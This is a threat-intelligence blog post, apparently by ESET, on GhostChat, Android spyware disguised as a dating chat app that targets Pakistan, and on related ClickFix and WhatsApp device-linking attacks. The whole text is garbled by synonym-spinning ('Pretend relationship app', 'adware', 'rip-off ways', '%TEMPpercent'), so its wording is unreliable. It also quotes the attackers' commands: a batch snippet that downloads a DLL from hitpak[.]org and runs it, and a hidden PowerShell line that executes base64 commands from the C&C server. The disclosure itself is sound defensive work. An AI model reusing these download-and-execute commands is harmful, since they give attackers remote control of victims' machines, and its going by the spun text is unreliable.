Pretend relationship app used as lure in focused adware marketing campaign in Pakistan

ESET researchers have uncovered an Android adware marketing campaign leveraging romance rip-off ways to focus on people in Pakistan. The marketing campaign makes use of a malicious app posing as a chat platform that permits customers to provoke conversations with particular “women” – pretend profiles in all probability operated by way of WhatsApp. Beneath the romance charade, the actual function of the malicious app, which we named GhostChat, is exfiltration of the sufferer’s knowledge – each upon first execution and frequently whereas the app is put in on the gadget. The marketing campaign employs a layer of deception that we now have not beforehand seen in related schemes – the pretend feminine profiles in GhostChat are offered to potential victims as locked, with passcodes required to entry them. Nevertheless, because the codes are hardcoded within the app, that is only a social engineering tactic possible aimed to create the impression of “unique entry” for the potential victims. Whereas we don’t understand how the malicious app is distributed, we assume that this exclusivity tactic is used as a part of the lure, with the purported entry codes distributed together with the app.

Additional investigation revealed that the identical risk actor seems to be working a broader spy operation – together with a ClickFix assault resulting in the compromise of victims’ computer systems, and a WhatsApp device-linking assault having access to victims’ WhatsApp accounts – thus increasing the scope of surveillance. These associated assaults used web sites impersonating Pakistani governmental organizations as lures.

GhostChat, detected by ESET as Android/Spy.GhostChat.A, has by no means been accessible on Google Play. As an App Protection Alliance associate, we shared our findings with Google. Android customers are mechanically protected in opposition to identified variations of this adware by Google Play Shield, which is enabled by default on Android units with Google Play Companies.

Key factors of this blogpost:

• ESET researchers uncovered an Android adware marketing campaign that makes use of romance rip-off ways to focus on people in Pakistan.
• GhostChat, the malicious app used within the marketing campaign, poses as a relationship chat platform with seemingly locked feminine profiles. Nevertheless, because the entry codes are hardcoded within the app, that is only a trick to create the impression of unique entry.
• As soon as put in, the GhostChat adware permits covert surveillance, permitting the risk actor to watch gadget exercise and exfiltrate delicate knowledge.
• Our investigation revealed additional actions performed by the identical risk actor: an assault involving ClickFix, which methods customers into executing malicious code on their computer systems; and a WhatsApp assault that exploits the app’s link-to-device characteristic to entry victims’ private messages.

Overview

On September 11^th, 2025, a suspicious Android software was uploaded to VirusTotal from Pakistan. Our evaluation revealed that whereas the app makes use of the icon of a official relationship app, it lacks the unique app’s performance and as an alternative serves as a lure – and gear – for cellular espionage.

The malicious app, which we named GhostChat, has by no means been accessible on Google Play, and it required handbook set up by customers who needed to allow permissions for putting in apps from unknown sources. As soon as the app is put in, its operators can monitor, and exfiltrate delicate knowledge from, the sufferer’s gadget.

Though the marketing campaign seems to be centered on Pakistan, we presently lack enough proof to attribute it to a selected risk actor.

Assault circulation

As illustrated in Determine 1, the assault begins with the distribution of GhostChat – a malicious Android app (bundle title com.datingbatch.chatapp) disguised to seem as a official chat platform referred to as Courting Apps with out cost; this official app is on the market on Google Play and is unrelated to GhostChat apart from by way of the latter utilizing its icon. Ghostchat’s supply and mode of distribution stay unknown.

Upon execution, GhostChat requests a number of permissions, as seen in Determine 2. After the permissions are granted, the app presents the person with a login display screen. With a view to proceed, victims should enter login credentials, as proven in Determine 3.

Opposite to how a official verification would usually work, the credentials are hardcoded within the software code, as seen in Determine 4, and will not be processed by any server. This means that each the app and the credentials are distributed collectively, in all probability by the risk actor.

As soon as logged in, victims are offered with a collection of 14 feminine profiles, every that includes a photograph, title, and age. All profiles are marked as Locked, and tapping on one in all them prompts the sufferer to enter an unlock code, as seen in Determine 5.

These codes are additionally hardcoded and never validated remotely, suggesting that they’re in all probability preshared with the sufferer. Every profile is linked to a selected WhatsApp quantity with a Pakistani (+92) nation code. The numbers are embedded within the app, as seen in Determine 6, and can’t be modified remotely. This means that the operator both owns a number of Pakistani SIM playing cards or has entry to a third-party supplier who sells them. The usage of native numbers reinforces the phantasm that the profiles are actual people based mostly in Pakistan, rising the credibility of the rip-off.

Upon getting into the right code, the app redirects the person to WhatsApp to provoke a dialog with the assigned quantity – presumably operated by the risk actor.

Whereas the sufferer engages with the app, even earlier than logging in, the GhostChat adware runs within the background and silently displays gadget exercise and exfiltrates delicate knowledge to a C&C server; see Determine 7.

Past preliminary exfiltration, GhostChat engages in lively espionage: it units up a content material observer to watch newly created pictures and uploads them as they seem. Moreover, it schedules a periodic process that scans for brand new paperwork each 5 minutes, guaranteeing continuous surveillance and knowledge harvesting.

The preliminary knowledge exfiltration contains the gadget ID, contact checklist within the type of a .txt file (uploaded to the C&C server from the app’s cache), and information saved on the gadget (pictures, PDFs, Phrase, Excel, PowerPoint information, and Open XML file codecs).

Associated exercise

Throughout our investigation, we recognized associated actions and found a connection: a DLL file, as illustrated in Determine 8.

Additional evaluation of the C&C server utilized by GhostChat revealed three further information speaking with the identical server, which had been uploaded to VirusTotal; see Determine 9. These embody two batch scripts and one DLL file.

The batch information had been designed to obtain and execute a DLL payload from the URL https://hitpak.org/notepad2[.]dll. On the time of study, the DLL was not accessible on the server, however the intent was clearly to ship and run malicious code on the sufferer’s machine. Under is a snippet of the script:

echo powershell -Command “Invoke-WebRequest -Uri ‘https://hitpak[.]org/notepad2.dll’ -OutFile ‘%TEMPpercentnotepad2.dll'”
echo timeout /t 10
echo rundll32.exe “%TEMPpercentnotepad2.dll”,notepad

ClickFix assault

The third file – a DLL file hosted at https://foxy580.github[.]io/koko/file.dll – served because the payload in a separate ClickFix-based assault. ClickFix is a social engineering method that methods customers into manually executing malicious code on their units by following seemingly official directions. ClickFix depends on person interplay – typically by way of misleading web sites or pretend alerts – to information victims into downloading and working malicious scripts. This assault used a pretend web site impersonating Pakistan’s Pc Emergency Response Crew (PKCERT), situated at https://buildthenations[.]information/PKCERT/pkcert.html, as proven in Determine 10.

The location displayed a fabricated safety warning allegedly affecting nationwide infrastructure and authorities networks, urging customers to click on an Replace button. This motion triggered ClickFix directions, as seen in Determine 11, which led to the obtain and execution of the malicious DLL. The marketing campaign was publicly recognized by a self-described safety researcher __0XYC__ on X.

File.dll

The DLL payload used within the ClickFix marketing campaign displays traditional C&C habits with a concentrate on distant code execution. As soon as loaded, the DLL initiates communication with its C&C server by sending the compromised machine’s username and pc title to:

https://hitpak[.]org/web page.php?tynor=sss

If the DLL fails to retrieve both the username or pc title, it substitutes them with default placeholders – UnUsr in all probability for unknown person and UPC for unknown PC – guaranteeing the request nonetheless reaches the server.

Following this preliminary handshake, the DLL enters an infinite loop, making requests to the C&C server each 5 minutes, awaiting directions. The server responds with a base64-encoded PowerShell command, which the DLL executes utilizing the next technique:

powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command “[System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String(‘‘)) | Invoke-Expression”

This strategy permits the operator to execute arbitrary PowerShell instructions on the sufferer’s machine with out triggering seen alerts, leveraging PowerShell’s flexibility and stealth capabilities.

On the time of study, the C&C server didn’t reply with any PowerShell payloads, suggesting both a dormant stage of the marketing campaign or that the server was awaiting particular sufferer identifiers earlier than issuing instructions.

WhatsApp-linking assault

Along with desktop focusing on within the ClickFix assault, the area buildthenations[.]information was utilized in a mobile-focused operation aimed toward WhatsApp customers. Victims had been lured into becoming a member of a supposed neighborhood – posing as a channel of the Pakistan Ministry of Defence (Determine 12) – by scanning a QR code to hyperlink their Android or iPhone gadget to WhatsApp Internet or Desktop.

Referred to as GhostPairing, this system permits an adversary to realize entry to the sufferer’s chat historical past and contacts, buying the identical stage of visibility and management over the account because the proprietor, successfully compromising their non-public communications. This isn’t the primary time we now have seen risk actors making an attempt to hijack victims’ messaging accounts. In 2023 China-aligned APT group GREF used BadBazaar Android malware to secretly autolink victims’ Sign accounts to the attacker’s gadget, which allowed the risk actor to spy on their victims’ Sign communications.

After scanning the QR code offered by the pretend Ministry of Defence web site, the sufferer will observe, as anticipated, {that a} new gadget had been linked to their WhatsApp accounts. After a while, WhatsApp additionally sends notifications to victims, alerting them {that a} new gadget had been linked to their accounts, as seen in Determine 13.

Taken collectively, these findings counsel a coordinated, multiplatform marketing campaign that blends social engineering, malware supply, and espionage throughout each cellular and desktop environments.

Conclusion

This investigation reveals a extremely focused and multifaceted espionage marketing campaign aimed toward customers in Pakistan. At its core is a malicious Android software disguised as a chat app, which employs a novel romance rip-off tactic requiring credentials and unlock codes to provoke communication – a stage of effort and personalization not generally seen in cellular threats.

As soon as put in, the app silently exfiltrates delicate knowledge and actively displays the gadget for brand new content material, confirming its position as a cellular surveillance software. The marketing campaign can also be linked to broader infrastructure involving ClickFix-based malware supply and WhatsApp account hijacking strategies. These operations leverage pretend web sites, impersonation of nationwide authorities, and misleading, QR-code-based gadget linking to compromise each desktop and cellular platforms.

For any inquiries about our analysis revealed on WeLiveSecurity, please contact us at threatintel@eset.com. 

ESET Analysis provides non-public APT intelligence experiences and knowledge feeds. For any inquiries about this service, go to the ESET Risk Intelligence web page.

IoCs

A complete checklist of indicators of compromise (IoCs) and samples might be present in our GitHub repository.

Information

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MITRE ATT&CK strategies

This desk was constructed utilizing model 17 of the MITRE ATT&CK cellular strategies.

This desk was constructed utilizing model 17 of the MITRE ATT&CK enterprise strategies.